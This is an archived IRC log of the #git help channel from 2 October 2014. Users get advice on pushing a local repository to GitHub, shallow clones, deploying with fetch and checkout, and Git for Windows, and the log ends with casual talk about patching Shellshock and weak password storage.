IRCloggy #git 2014-10-02

Logs Search ←Prev date Next date→ Channels Documentation

Provider of IRC logs since 2005.
WARNING: As Freenode became unjoinable and lost all warnings in topics, we cannot log channels on Freenode anymore.

2014-10-02

fstd left00:00
fstd joined00:00
echelon left00:00
Mobutils left00:00
imachuchu left00:01
echelon joined00:01
Pyrogerg_ joined00:01
moritzs left00:02
Pyrogerg left00:02
Vile left00:02
smccarthy left00:02
ojacobson joined00:03
JanC left00:03
solker_ joined00:04
bro27 joined00:04
ajustrun joined00:04
hellome joined00:05
msonntag left00:07
bro27 left00:08
Pyrogerg_ left00:09
solker_ left00:09
FofG left00:09
CKyle left00:10
harish left00:10
acharlieh joined00:11
kristofferR joined00:11
pr0ton_ joined00:12
FofG joined00:12
mribeirodantas left00:13
RogerWS left00:13
Manny_ left00:14
Scriptonaut left00:14
Manny joined00:14
ncd|leeN left00:14
madewokherd joined00:14
justinmburrous joined00:14
msonntag joined00:14
BlakeRG left00:15
baweaver left00:15
FofG_ joined00:15
mizu_no_oto left00:16
codeman left00:16
blackmesa left00:17
JanC joined00:17
FofG left00:17
ajustrun left00:18
ianbrandt left00:18
dccc_ left00:19
Ankhers left00:20
ajustrun joined00:21
aidalgol left00:21
msonntag left00:21
mish4 joined00:22
msonntag joined00:22
aidalgol joined00:23
nnyk left00:23
akiva joined00:23
chelly left00:24
mish4 i'm trying to use git on windows and push to github, in order to do version control for an existing project. I'm confused by the order of operations. Do I first create a local repository and then push it to github? Or do I first create a repo on github and clone it and then move existing files to it? Or neither?00:24
RogerWS joined00:24
ojacobson either.00:24
ajustrun left00:24
ojacobson There's nothing magic about the relationship set up by `git clone`; you can establish exactly the same relationship using an existing local repo, if you want. Github even provides instructions.00:25
hcc23_ left00:25
mish4 so i tried creating a new repository on github first, and now i created a local one. Does it make sense for me to now push my local repo to the one on github?00:26
because I need a https://github.com/blah/something.git to push to, which means I needed to set up a repository on github first right?00:26
xolubi joined00:28
ajustrun joined00:28
kerrick joined00:29
P4_Denis joined00:29
nitrospectide left00:29
akushner__ left00:29
arand_ mish4: No, you just add it as a remote00:29
git remote add origin <url>00:30
danemacmillan left00:30
Dougie187 joined00:31
mish4 in order to get the url (something.git) on github, don't you have to first make a repository?00:31
ojacobson yes00:31
msonntag left00:31
ncthom91 left00:31
arand_ you don't need to clone in order to push, was the point.00:32
iamjarvo left00:32
Quevin left00:32
TheFuzzball left00:33
mish4 so if i already made a repository on github first, it would make more sense for me to clone it and then add files to the cloned folder, as opposed to creating a new local repository using git and trying to push it00:33
GinoMan joined00:33
mish4 i think thats where i made a mistake00:33
ajustrun left00:33
P4_Denis left00:34
madewokherd when you create a repository on github, it will ask whether to add a readme00:34
danemacmillan joined00:34
madewokherd if you do, that will create an initial commit, and you can clone it00:34
jonmorehouse left00:34
madewokherd if you don't, you will need to create the initial commit on your local machine and push to github00:34
Ankhers joined00:35
msonntag joined00:35
bbloom left00:35
madewokherd the end result isn't much different either way00:35
mish4 okay, thanks for clearing that up! I was trying to push my local repo, even though there was an initial commit on github!00:35
because i selected the readme file00:35
watabou joined00:36
mish4 so it was complaining that updates were rejected because remote contains work that you do not have00:36
thanks00:36
watabou left00:36
watabou joined00:36
bheesham left00:36
a_le left00:36
kristofferR left00:36
in_deep_thought left00:36
robarelli joined00:36
MistahKurtz joined00:37
kristofferR joined00:37
eburcat left00:37
a_le joined00:38
Spacew00t joined00:38
eburcat joined00:38
jordanm joined00:38
jordanm I have a git repo that I imported from svn a while back. I did this in a way that did not get any of the svn tags. Is there a way I can go back and import the tags? I have found a few things online, but they were all done during the initial conversion to git00:39
Spacew00t left00:39
codeman joined00:40
robarelli left00:41
Ankhers left00:41
_rnsanchez_ left00:42
iliketurtles left00:42
_rnsanchez_ joined00:42
ajustrun joined00:43
blakbunnie27 left00:43
jiskiras left00:44
justinmburrous left00:45
jordanm nevermind, I figured something out. I used svn2git to make a new repo and then did a git fetch --tags from that repo00:45
EminenceHC left00:46
palcu joined00:46
ezakimak left00:47
nilg left00:47
mish4 left00:47
nilg` joined00:48
msonntag left00:48
dreiss left00:48
lukeholder joined00:50
lukeholder left00:50
lukeholder joined00:51
palcu left00:51
Mobutils joined00:51
msonntag joined00:51
lukeholder left00:52
dcpc007 joined00:52
lukeholder joined00:52
lukeholder left00:53
lukeholder joined00:54
jonmorehouse joined00:54
a_le left00:54
a_le joined00:54
nanga joined00:55
mus1cb0x joined00:55
mus1cb0x hi i'm new to git. i made a bunch of changes to my src files and before i committed them, i made a new branch. now only that branch shows the changes, not the master branch00:56
daedeloth left00:56
mus1cb0x how can i "revert" this?00:56
i want to bring the changes back into master as if i had not made a new branch00:56
holodoc left00:56
kirin` left00:56
souther left00:57
dcpc007 left00:57
EminenceHC joined00:57
a_le left00:57
souther joined00:57
msonntag left00:58
gitinfo set mode: +v00:59
skorgon mus1cb0x: git rebase master && git checkout master && git merge --ff-only <other_branch>01:00
hollyw00d_ joined01:00
smccarthy joined01:00
eto left01:01
hollyw00d_ left01:01
EminenceHC left01:02
kirin` joined01:02
msonntag joined01:02
m0ltar joined01:02
eto joined01:02
evil-twin left01:03
hexagoxel_ left01:04
pheaver left01:04
solker_ joined01:04
davispuh left01:06
kballou left01:06
solker_ left01:09
axl_ joined01:09
mscook left01:11
msonntag left01:11
msonntag joined01:12
mus1cb0x if i delete the branch my changes have been sucked into, will it delete my files?01:12
svm_invictvs left01:15
seanmerron left01:16
unreal left01:16
MistahKurtz left01:16
Sasazuka left01:17
ojacobson only the snapshots on that branch, and only "eventually"01:17
(not instantly)01:17
blakbunnie27 joined01:17
ajustrun left01:18
mus1cb0x i cannot believe how shitty git is01:18
to fuck with source?01:18
what a backwards design01:18
kaendfinger left01:19
ojacobson I'm not entirely sure I made myself understood01:19
git is, basically, a garbage-collected object system01:19
the "objects" in this case are snapshots of your source tree (mostly; there are others)01:19
mus1cb0x it changes the source code in the file system01:19
mscook joined01:19
tranzfuse joined01:19
ojacobson _when you run git checkout_, beyond updating metadata identifying which snapshot the work tree is based on, git also copies that snapshot into the work tree01:20
(combining it with uncommitted changes in the work tree, if possible, or aborting if it would have to lose your changes)01:20
desposo left01:20
ojacobson _when an object is unreachable inside of git_, that object can be deleted from git and will eventually be.01:20
there is no point at which git cleaning up unreachable objects internally will cause changes in the work tree.01:20
justinmburrous joined01:21
bbloom joined01:21
fold left01:22
fold joined01:22
deuti joined01:22
Goplat joined01:22
harish joined01:23
gmb2020 left01:23
m0ltar left01:24
cherwin left01:24
codeman_ joined01:24
msonntag left01:25
deuterium left01:25
otter768 joined01:26
angico_ left01:26
kaendfinger joined01:27
Ornacia left01:27
nettoweb left01:27
tmcmahon joined01:27
codeman left01:27
msmith joined01:30
Ornacia joined01:30
harish left01:30
GinoMan left01:31
WormDr1nk joined01:32
msmith left01:32
msmith_ joined01:32
d10n-work left01:32
akiva left01:33
m0viefreak left01:34
WormDrink left01:34
mscook left01:34
sitology joined01:35
DTSCode left01:37
rchavik joined01:37
rchavik left01:37
rchavik joined01:37
robarelli joined01:37
unreal joined01:38
jonmorehouse left01:39
jason237 joined01:40
daito joined01:40
tmcmahon left01:41
maslowbeer left01:42
robarelli left01:42
jonmorehouse joined01:42
harish joined01:43
hyperair joined01:43
m0ltar joined01:44
m0ltar left01:45
akiva joined01:45
dgpalmer left01:46
legend1029 joined01:46
ethan1341 joined01:46
blakbunnie27 left01:46
gccostabr left01:47
palcu joined01:47
mscook joined01:48
darkbasic left01:49
sinkensabe joined01:49
darkbasic joined01:49
jonmorehouse left01:51
palcu left01:52
nettoweb joined01:53
nettoweb left01:53
ferreum_` joined01:53
dgpalmer joined01:53
codeFiend left01:53
mscook left01:54
darkbasic left01:54
nettoweb joined01:54
sinkensabe left01:54
mus1cb0x left01:54
Ornacia left01:54
ColKurtz joined01:55
darkbasic joined01:55
ejnahc left01:55
_rnsanchez_ left01:56
ferreum` left01:56
tokik joined01:58
dgpalmer left01:58
LucasTT left01:58
ejnahc joined01:59
Pyrogerg joined01:59
p4trix joined02:00
kaendfinger left02:01
angico joined02:01
DTSCode joined02:02
EminenceHC joined02:02
jpf left02:03
Ornacia joined02:03
marmarmar left02:04
solker_ joined02:04
mscook joined02:04
dccc_ joined02:05
mscook left02:05
mscook joined02:06
jarr0dsz left02:06
EminenceHC left02:06
harish left02:07
nettoweb left02:07
grubba_ left02:08
svm_invictvs joined02:08
solker_ left02:08
otter768 left02:09
jonmorehouse joined02:10
gmb2020 joined02:11
nettoweb joined02:12
mscook left02:14
Manny_ joined02:14
Manny left02:14
Noldorin left02:16
jonmorehouse left02:17
mscook joined02:17
RogerWS left02:19
jonmorehouse joined02:19
harish joined02:19
mscook left02:23
svm_invictvs left02:23
rchavik left02:23
mueslo_ joined02:25
durianshredder joined02:26
angico left02:26
rchavik joined02:28
mueslo left02:29
RogerWS joined02:29
angico joined02:29
BuenGenio joined02:29
P4_Denis joined02:30
gccostabr joined02:30
otter768 joined02:30
NoNMaDDeN joined02:30
jonmorehouse left02:30
marmarmar joined02:32
pr0ton_ left02:32
yates osse: ok, the thing in yellow is a tag - what is the thing in green?02:32
mizu_no_oto joined02:32
yates https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/?h=linux-3.8.y02:32
ojacobson branch02:34
toothrot joined02:34
P4_Denis left02:34
ojacobson see eg. https://git.kernel.org/cgit/fs/fuse/fuse-ext2.git/ for a more "normal"-looking example02:34
teran left02:35
NoNMaDDeN left02:36
amjam joined02:36
tinti left02:37
robarelli joined02:38
mizu_no_oto left02:38
BuenGenio left02:39
aidalgol left02:40
tranzfuse left02:40
amjam left02:41
brammm left02:41
aidalgol joined02:42
robarelli left02:43
StefanLehmann left02:45
mscook joined02:45
gccostabr left02:45
gmb2020 left02:45
blakbunnie27 joined02:46
ethan1341 left02:46
legend1029 left02:46
gccostabr joined02:46
legend1029 joined02:46
ethan1341 joined02:46
StefanLehmann joined02:46
palcu joined02:48
nettoweb left02:49
mscook left02:50
marklite left02:51
gfixler left02:52
codeFiend joined02:52
codeFiend left02:52
palcu left02:52
jstimm joined02:54
yates ojacobson: thanks much!02:54
jstimm left02:54
githogori left02:54
magic joined02:56
blakbunnie27 left02:57
pheaver joined02:58
dccc_ left02:58
Mitchbon_ left02:59
johnny2600 joined02:59
danemacmillan left02:59
blakbunnie27 joined03:00
xp_prg left03:00
xp_prg joined03:01
rchavik left03:03
solker_ joined03:04
mellernoia left03:05
CraigyDavi` joined03:05
EminenceHC joined03:06
mscook joined03:06
GluonQuark left03:08
solker_ left03:09
marmarmar left03:09
AnujSharma joined03:09
Lunatrius joined03:09
xp_prg left03:09
xp_prg joined03:10
EminenceHC left03:10
mscook left03:10
marmarmar joined03:12
toothrot left03:13
kerrick left03:13
ra0 joined03:14
mscook joined03:14
rchavik joined03:15
marmarmar left03:16
marmarmar joined03:17
mscook left03:18
ColKurtz left03:19
iamjarvo joined03:19
neonixcoder joined03:19
robins left03:19
bbloom left03:20
robinsmidsrod joined03:20
ra0 left03:21
mscook joined03:21
codeman joined03:22
tieTYT left03:22
bezet joined03:23
rchavik left03:24
ra0 joined03:24
BuenGenio joined03:25
marklite joined03:25
justinmburrous left03:26
zivester left03:27
flowerhack joined03:27
bezet left03:27
iamjarvo left03:28
rchavik joined03:28
LLaurent left03:29
justinmburrous joined03:29
oojacoboo joined03:29
AnujSharma left03:30
ome left03:32
Dougie187 left03:33
segfalt left03:33
madewokherd left03:34
rchavik left03:34
robinsmidsrod left03:38
gitty_1 joined03:38
logix812 joined03:38
gitinfo set mode: +v03:38
gitty_1 hi03:38
gitinfo gitty_1: hi! I'd like to automatically welcome you to #git, a place full of helpful gits. Got a question? Just ask it — chances are someone will answer fairly soon. The topic has links with more information about git and this channel. NB. it can't hurt to do a backup (type !backup for help) before trying things out, especially if they involve dangerous keywords such as --hard, clean, --force/-f, rm and so on.03:38
gitty_1 I have a question about: git clone --depth 1 [email@hidden.address]03:39
robarelli joined03:39
gitty_1 My understanding is that just gets the latest code?03:39
robinsmidsrod joined03:39
gitty_1 without the full history?03:39
so like, a snapshot of the code as of the latest commit - is that correct?03:39
FofG_ left03:40
rchavik joined03:40
hyperair left03:41
FofG joined03:42
nkouevda joined03:43
hyperair joined03:43
atomx joined03:43
robarelli left03:44
ojacobson --depth is approximate, and gives you a crippled clone03:46
don't use it :)03:46
flowerhack left03:46
rchavik_ joined03:46
ojacobson if you specifically want a snapshot, either make a normal clone and check out the commit you want, or if your repo is simple (no submodules, etc) use git-archive to obtain a copy03:46
flowerhack joined03:46
gitty_1 what do you mean by a crippled clone?03:47
ojacobson if you make changes in it, you can't push them anywhere; you can't make more clones from it03:48
gitty_1 oh, thats okay03:48
it is for use on a production server03:48
i wont be making changes03:48
flowerhack left03:48
ojacobson !deploy is probably what you want, then03:49
gitinfo Git is not a deployment tool, but you can build one around it (in simple environments) or use it as an object store(for complex ones). Here are some options/ideas to get you started: http://gitolite.com/deploy.html03:49
flowerhack joined03:49
ojacobson and if you plan on deploying predictable commits, you don't want --depth at all03:49
NoNMaDDeN joined03:49
ojacobson there's no way to use --depth and guarantee that the desired commit will be in the fetched set, if other commits arrive between when you figure out which commit you want and when you run git-clone03:49
rchavik left03:49
gitty_1 thanks for that link, I am actually keen to try a deploy tool like that in the future03:49
msmith_ left03:50
sinkensabe joined03:50
gitty_1 I can be sure no other commits will arrive03:50
It's a small project03:50
fairuz joined03:50
ojacobson Do you plan for it to fail?03:51
alvaro_o left03:52
gitty_1 Are you saying that if I run the git clone depth command there is a likelihood of it not working?03:52
Or do you mean longer term, its not best practice?03:52
neonixcoder left03:53
iliketurtles joined03:53
codeman left03:53
codeman_ left03:53
watabou left03:53
ojacobson I mean that it's race-prone by design03:54
smw joined03:54
ojacobson so the only way your response - "it's a small project" - makes any sense is if you specifically plan never to have collaborators03:54
gitty_1 I'm the only one contributing to the project right now03:54
sinkensabe left03:54
kerrick joined03:55
stangeland joined03:56
otter768 left03:57
gitty_1 what I wanted to add to the original question, was how to specify the branch that it takes from. if I add "-b master" at the end is that sufficient? Or do you feel that running this command at all is just too risky?03:57
johnny2600 left03:57
ojacobson by default it does every branch; -b changes which branch gets checked out, but not what gets fetched03:57
gitty_1 ok03:57
falteckz joined03:58
falteckz When I've only the .git folder, I can git stash ; git stash drop. To recheckout all my files to restore my inde03:58
*index03:58
What is a single command alternative to this?03:58
ivan\ left03:58
ojacobson 'git checkout -- .' will do most of it03:58
falteckz I feel like I'm missing some fundimental understanding. I thought git checkout HEAD -- would do the trick.03:58
Consuela left03:58
gitty_1 ojacobson, do you think git clone is excessive for my needs?03:58
falteckz So omit the HEAD bit03:58
gitty_1 it sounds like it might be easier to just download the zip from github and upload that03:59
falteckz yeah git checkout -- does nothing03:59
ojacobson gitty_1: for deployment, I'd use normal "git clone" the first time, and "git fetch" followed by "git checkout" thereafter, to get the tree to deploy03:59
falteckz It does not restore the index as it assumes that I've deleted everything03:59
Perhaps a reset?03:59
ojacobson falteckz: that's not the command I suggested.03:59
ColdKeyboard joined03:59
ojacobson All the arguments I suggested matter.03:59
falteckz Oh03:59
I did not observe the period03:59
gitty_1 ojacobson, but if I don't need the entire git history is it still worth doing?03:59
falteckz The period being the target directory of the checkout04:00
makes sense04:00
gitty_1 thats why i thought git clone depth might be what I need04:00
ojacobson paradoxically, using 'git fetch' will probably be lighter in the long run04:00
each fetch only has to download _new_ changes, not the whole repo; re-downloading the entire project is probably more expensive04:00
falteckz: I believe :/ is the work tree root, if you prefer04:01
gitty_1 okay, so you recommend04:01
git clone [email@hidden.address]04:01
ojacobson (I have 'git add --all :/' in an alias somewhere, for example)04:01
gitty_1 git fetch04:01
git checkout master04:01
?04:01
ojacobson 'git checkout origin/master'04:01
falteckz ^04:01
ojacobson for deployment, your local 'master' is irrelevant04:01
falteckz checkout master will checkout a local04:01
gitty_1 ok04:01
ojacobson (and will rapidly become stale; might even want to delete it entirely)04:01
gitty_1 do i need git pull anywhere?04:02
ojacobson Do you want to run merges?04:02
Because that's what git-pull does.04:02
falteckz gitty_1, think of pull as fetch then merge04:02
Unless you --rebase, then it's a fetch and rebase04:02
gitty_1 ok04:02
falteckz It's basically sugar for the two commands04:03
ojacobson It04:03
er04:03
'git pull' is basically a terrible idea for new users04:03
I really wish 'git push' didn't "helpfully" suggest it04:03
ra0 left04:03
falteckz ojacobson, What is the -- syntaxically equivilent to? I see it in the shorthand examples on the man page, but there is no further mention of it04:03
Is it short for something else?04:03
ojacobson '--' is a posix-ism for "no further options, arguments only from here out"04:03
falteckz Okay04:04
ojacobson git extends that a bit to "no options or refs, only paths after this"04:04
it's useful for disambiguating between a branch named "master" and a file named "master"04:04
falteckz I would assume it's optional then and would only cause issues if you had a file or path that conflicted with a ref04:04
yes04:04
solker_ joined04:04
ojacobson (it also coerces checkout into checkout-some-files mode even if there's nothing after it, because git's UI is nothing if not hideously modal)04:04
falteckz git has a UI?04:05
ojacobson git(1) is a user interface04:05
falteckz Or do you just mean the syntax structure of the whole thing04:05
Right okay04:05
I assumed something graphical or curses based04:05
BuenGenio left04:05
falteckz I know I got in to a bad habit when learning git04:05
and that was to git pull --rebase EVERYTHING04:06
gitty_1 okay, i'll try as you suggested. thanks04:06
falteckz rewrite all the history04:06
ojacobson falteckz: not great, but better than littering history with undesired merge commits04:06
falteckz I guess it's okay on local branches, but then I would push those up, and people would get confused04:06
This is why we squash04:06
*make commits every 10 minutes in one branch*04:07
squash to one feature in master04:07
That's how I've done it in the past at least04:07
ojacobson !sausage04:07
gitinfo [!sausage_making] Some developers like to "hide the sausage making", transforming their commits before presenting them to the outside world. See http://sethrobertson.github.com/GitBestPractices/#sausage and !perfect04:07
falteckz !perfect04:07
gitinfo [!postproduction] So, you want to make your commit history look pretty before pushing? http://sethrobertson.github.com/GitPostProduction talks you through how to use 'rebase -i' to do this.04:07
falteckz interactive rebase04:07
Yeah I'm aware04:07
EminenceHC joined04:08
gitty_1 so what does git fetch do that git clone doesn;t?04:08
falteckz git clone pulls down all refs and objects04:08
fetch gets the new ones04:08
the ones you don't have04:08
That's my understanding anyway04:09
ojacobson Nothing. 'git clone' is equivalent to running 'git fetch' in a new repo, followed by 'git checkout master'.04:09
solker_ left04:09
falteckz I hadn't thought of it like that04:09
ojacobson 'git fetch' in an empty repo has a lot more work to do than 'git fetch' in a repo that already has all but the most recent commits in it.04:09
falteckz I guess you could git init, then add remotes, fetch and checkout04:09
ojacobson yup04:09
falteckz But that sounds like hell when you can clone04:09
gitty_1 so after I run git clone, i don't really need to run git fetch?04:09
falteckz nope04:09
ojacobson not immediately04:10
you do when you want to get new changes04:10
gitty_1 ok04:10
but I should run git checkout origin/master straight away?04:10
or will it be checked out by default?04:10
mscook left04:10
falteckz Your local copy will be checked out04:10
zivester joined04:10
falteckz -- ojacobson, why does gitty_1 not want to work with local branches?04:11
gitty_1 what is wrong with the local one being checked out?04:11
pr0ton_ joined04:11
BuenGenio joined04:11
BuenGenio left04:11
jiskiras joined04:11
VBlizzard joined04:11
BuenGenio joined04:11
BuenGenio left04:11
ojacobson falteckz: for deployment, you usually want either a specific commit, or the latest commit on some branch04:11
falteckz Oh so he's not developing?04:11
BuenGenio joined04:12
ojacobson why go to all the effort of moving local branches around to accomplish that, when (a) deployment rarely creates new commits to track, and (b) git doesn't require it04:12
falteckz gitty_1, if you're not editing code, you don't need a local copy04:12
BuenGenio left04:12
EminenceHC left04:12
falteckz gitty_1, since you just want the latest of someone elses work, you checkout remotes04:12
ALiXyrus left04:12
gitty_1 ah ok04:12
so i checkout the remote then, and any changes in the future I can just git pull?04:13
mennea joined04:13
Manny joined04:14
King_Hual joined04:14
Manny_ left04:14
ojacobson 'git fetch --all && git checkout <target>'04:14
eg. '.. && git checkout origin/master' if you're always releasing the branch04:15
gitty_1 ah so that just sort of, overrides, the code does it?04:15
rather than worrying about merging, just get the latest and override04:15
aidalgol left04:15
sgen__ left04:15
ojacobson 'git fetch' ensures that 'origin/master' is exactly the same as origin's "master" branch04:15
gitty_1 ok04:15
ojacobson 'git checkout' moves the work tree to that commit04:15
lindenle left04:16
stangeland left04:16
gitty_1 git checkout origin/master fatal: Not a git repository (or any of the parent directories): .git04:16
lindenle joined04:16
gitty_1 ah hang on04:16
zivester left04:16
morphix0 joined04:17
gitty_1 never mind04:17
falteckz change dirs :P04:17
You cloned and didn't cd04:17
gitty_1 yeah I hadn't cd'd04:17
falteckz Curiously I can't find a method of creating a repo with a remote, but not fetching04:18
ojacobson 'git init && cd && git remote add'04:18
hth04:18
falteckz I meant in a single command with switches :P04:18
ojacobson Write a script named git-empty-clone that does the above04:18
invoke as 'git empty-clone' ;)04:18
falteckz Or make an alias04:19
ojacobson or that.04:19
falteckz aliases are beautiful04:19
ojacobson It'd have to be a shell alias, at which point: might as well write a freestanding command04:19
falteckz Ahh yes of course04:19
I thought I had more than one command execute on my git publish alias..04:19
maybe not04:19
Actually I might have used hooks in the end04:19
BlakeRG joined04:20
falteckz Downside to using Windows is the lack of a package manager04:21
smccarthy left04:21
lindenle left04:22
gitty_1 thank you for your help04:22
it looks to have worked well04:22
morphix0 left04:22
falteckz Having to download updates like a savage04:23
ojacobson, So who are you in the real world? Software developer?04:24
logix812 left04:24
ojacobson many things04:24
falteckz What profession or hobbies? Prefered languages?04:25
jonmorehouse joined04:25
ojacobson since I do most of them under my real name, you can pretty much find me easily via any random search engine04:25
Dreadnaught left04:25
King_Hual left04:26
kyb3r_ joined04:26
zivester joined04:26
falteckz ojacobson, Quick look I'm going to say primarily web development? RoR ?04:26
Dreadnaught joined04:27
Dreadnaught left04:27
Dreadnaught joined04:27
CheckDavid left04:27
makesoda joined04:27
falteckz Bit of shell work, occasionally using python instead of shell. dabble in PHP and Node.JS04:27
And to your own suffering, you develop in Java too :P04:28
I am currently building my first Web Application04:28
Foundation + Ember.JS Frontend with Node.JS backend04:28
P4_Denis joined04:30
daito left04:30
makesoda left04:31
punchagan joined04:31
falteckz And I kick up node-thesus and everything stops working due to invocation count D:04:32
makesoda joined04:32
hahuang65 joined04:32
githogori joined04:32
githogori left04:33
makesoda left04:34
P4_Denis left04:35
subhojit777 joined04:36
kcj joined04:36
squirel joined04:36
zivester left04:37
tranzfuse joined04:37
justinmburrous left04:38
gitinfo set mode: +v04:38
veebers left04:38
squirel hey all, trying to find a recent windows distribution with all the shellshock exploit fixes..04:39
for git bash04:39
justinmb_ joined04:40
flowerhack left04:41
tranzfuse left04:41
flowerhack joined04:41
eliasr left04:42
falteckz ..04:43
yaymukund joined04:43
refried_ left04:43
falteckz I'm assuming you're using cygwin04:43
mennea left04:43
squirel no, git bash.. I can patch cygwin04:43
falteckz git bash is a thing?04:43
mennea joined04:43
falteckz If it's a thing, I don't have it in my Windows setup04:43
yaymukund Can I have a custom `git foobar` command specific to a repository? (only for myself, so it doesn't need to be tracked or anything)04:43
ra0 joined04:44
falteckz squirel, yeah I don't think git bash is a thing04:44
squirel yeah, its a thing.. lol http://git-scm.com/download/win04:44
falteckz What is it?04:44
That's not git bash, that's just git04:44
Git bash isn't a thing04:44
bash is a thing04:44
git is a thing04:44
The hell is git bash04:45
squirel I know.. but when you install the GIT client, its "called" git bash.04:45
falteckz Windows doesn't have bash unless you've installed it with cygwin or something similar04:45
It's called.. git04:45
bash is a shell for unix04:45
squirel trust me, Im looking at it right now.. I know what bash is..04:45
falteckz I'm guessing you're running some windows port of bash then04:46
squirel that client installs an entire mini linux setup..04:46
falteckz Yeah you're running cygwin then04:46
I didn't install it that way04:46
I run git from cmd or powershell04:46
no bash04:46
squirel I have git running in cygwin too, thats easy to patch..04:46
I have many systems..04:46
falteckz Can you screenie your terminal that you're using ?04:47
squirel but I also installed the git client from the link above.. that is its own bash install..04:47
pr0ton_ left04:47
squirel lots of programs do that.. perforce installs its own mini linux like env too..04:47
brutal_lobster joined04:47
neonixcoder joined04:48
VBlizzard left04:48
falteckz Okay04:48
I am sure it was an option04:48
I just installed git to path04:48
Then I use powershell + posh git04:48
Because it's beautiful04:49
thiago joined04:49
squirel its a handy install, easy to document for other users to set up.. install this, pull this repo and your done..04:49
gotta keep it simple for the simpletons..04:49
falteckz cygwin is far from simple04:49
squirel heck no.. not04:50
palcu joined04:50
Warrior-kkk joined04:50
msmith joined04:50
squirel try explaining the setup.exe thing to a cygwin novice, and how they need to select what tools to install etc..04:50
my instructions..04:50
google git bash04:50
install it with all defualts04:50
git clone ssh://yadayada04:51
vurma joined04:51
falteckz Eugh04:51
squirel lol04:51
falteckz screenshot your terminal04:51
and imgur why you broken!04:51
arthurvr joined04:51
squirel im not broken.04:51
falteckz No, imgur is being an ass04:52
though it could be chrome04:52
squirel Im looking for an update version with a already patched bash.04:52
falteckz Can you screenshot your terminal?04:53
squirel not much to see..04:53
falteckz This is what there is to see on mine04:53
squirel Welcome to Git (version 1.8.1.2-preview20130201)04:53
Run 'git help git' to display the help index.04:53
Run 'git help <command>' to display help for specific commands.04:53
falteckz http://i.imgur.com/U2yUgvx.png04:53
That's not a screenshot04:53
flowerhack left04:53
arthurvr left04:53
squirel looks like powershell running git..04:53
falteckz It is04:54
Warrior-kk left04:54
falteckz The Git installer you linked did that for me04:54
I'm sure it's an install option04:54
refried_ joined04:54
falteckz Trying to work out what one you prefer to choose04:54
and why you're not using a more native setup04:54
palcu left04:54
JohnBat26 joined04:54
squirel interesting04:54
falteckz Found it04:54
http://i.imgur.com/2Izo0fF.png04:55
iliketurtles left04:55
falteckz Use THAT option04:55
Then you use git from Windows natively04:55
no bash04:55
vocifer joined04:55
jonalmeida left04:55
squirel ah.. I chose "Use Git from git bash only" option.04:55
falteckz Yeah04:55
iliketurtles joined04:55
falteckz I was not even aware this thing had installed some git bash crap04:55
jonalmeida joined04:55
falteckz But I shall burn the executable with fire04:56
msmith left04:56
javster_ joined04:56
falteckz If I want to bash, I'll drop in to a linux session, otherwise the less unix in Windows the better04:56
except that I have vi and nano ports04:56
But that's just because I don't want to open a Windows text editor04:56
kiran joined04:56
javster left04:57
javster_javster04:57
squirel thats cool, Ill play with that.. but Im trying to patch the shellshock exploit inside the bash..04:57
falteckz Don't both04:57
It's Windows ported04:57
That's hell04:57
s/both/bother/04:57
Unless you're very good in your cross environment C compiling04:57
squirel I knew what you ment..04:57
falteckz As I know what you meant :)04:57
squirel yepers04:58
solker_ joined04:58
falteckz Ahh would you look at that04:58
I've got a whole cesspool of unix ports in here04:58
cat, cp, bison, bash, curl04:58
No wget though04:58
Which is far superior04:58
I'm happy about touch and tar though04:59
squirel, one option is to delete bash.exe04:59
That would fix the vuln04:59
squirel yeah, and now your vulnerable..04:59
falteckz I'm not vulnerable04:59
bash is not in my system path04:59
Meaning that someone would have to actually navigate my program files to get to it, at which point they already have full system control and can just do damage directly05:00
squirel neither is mine! which is why I use the option I did so it WOULD NOT mess with path.. that might be all the info I need then..05:00
thanks!05:00
that thought may be enough to ease my concious..05:00
falteckz Threat assessment says that05:00
If they can use bash05:00
They can break you in every other way too05:01
So really, bash isn't a threat05:01
Why go to the trouble to see if you have git installed when I can just fire-up registry edit and break everything05:01
UmbraMalison left05:02
Gamecubic left05:02
squirel I hear ya.. big IT departments and there crazy notions..05:02
UmbraMalison joined05:02
FofG left05:03
pr0ton_ joined05:04
unglid left05:04
falteckz Yeah the IT dep at my work is always going on about stuff05:05
And yet they leave root passwords in scripts with 777 permissions05:05
because they are lazy05:05
rchavik_ left05:05
squirel shhhh05:05
security through obscurity05:05
falteckz joindomain.ps105:05
$Password = "kasdhskd";05:05
Yeah good job IT05:06
ag4ve joined05:06
falteckz You know what isn't security through obscurity05:06
unsalted MD5 hashes and Base6405:07
That's insecurity through stupidity05:07
MattMaker left05:07
squirel thats so obscure I don't even know what it means..05:07
falteckz That's okay, you don't have to05:07
You can paste the 'obscure' password in to Google05:07
and it'll give you the value back05:07
squirel lovely05:08
palcu joined05:09
justinmburrous joined05:10
unglid joined05:10
tranzfuse joined05:10
vocifer left05:11
drbean_ left05:12
NoNMaDDeN left05:12
Manny left05:13
squirel haha,I just read up on that unsalted md5 hashes.. the internet, makes storing brute force data so easy..05:13
EminenceHC joined05:13
mennea left05:13
justinmb_ left05:13
mennea joined05:13
squirel thanks falteckz.. see ya05:14
Manny joined05:14
drbean joined05:15
tranzfuse left05:15
jontmorehouse joined05:17
EminenceHC left05:18
rchavik_ joined05:18
talmuth joined05:18
jonmorehouse left05:19
durianshredder left05:19
MattMaker joined05:20
DrSkyLizard joined05:22
neonixcoder left05:22
bezet joined05:23
daito joined05:24
remington_forbes joined05:24
epifanio joined05:24
pr0ton_ left05:24
roberto_ joined05:24
roberto_ left05:25
roberto joined05:25
xolubi left05:25
robertoGuest9057805:25
sinkensabe joined05:26
Guest90578 left05:26
roberto_ joined05:27
pheaver left05:27
bezet left05:28
roberto_ left05:28
robertodecurnex joined05:28
Wiz_KeeD joined05:28
deuti left05:30
FunkyAss joined05:30
PinkSpecs joined05:31
EminenceHC joined05:31
solker_ left05:33
solker_ joined05:34
NoNMaDDeN joined05:34
rchavik_ left05:35
jceb joined05:36
EminenceHC left05:36
Junior joined05:36
squirel left05:37
Lyqyd joined05:38
solker_ left05:39
iliketurtles left05:39
eletuchy_ joined05:39
thiago left05:39
falteckz left05:39
rchavik_ joined05:40
thiago joined05:40
armyriad left05:40
oojacoboo left05:40
armyriad joined05:41
eletuchy left05:42
mennea left05:43
bbloom joined05:43
mennea joined05:44
eletuchy_ left05:44
rchavik_ left05:45
msonntag joined05:46
nnyk joined05:46
mbury left05:47
jarr0dsz joined05:48
ThomasLocke joined05:48
Lyqyd left05:49
brammm joined05:49
lahwran joined05:49
rchavik_ joined05:50
gccostabr left05:50
gccostabr joined05:51
Malsasa_ joined05:51
sinkensabe left05:52
msmith joined05:52
Malsasa left05:52
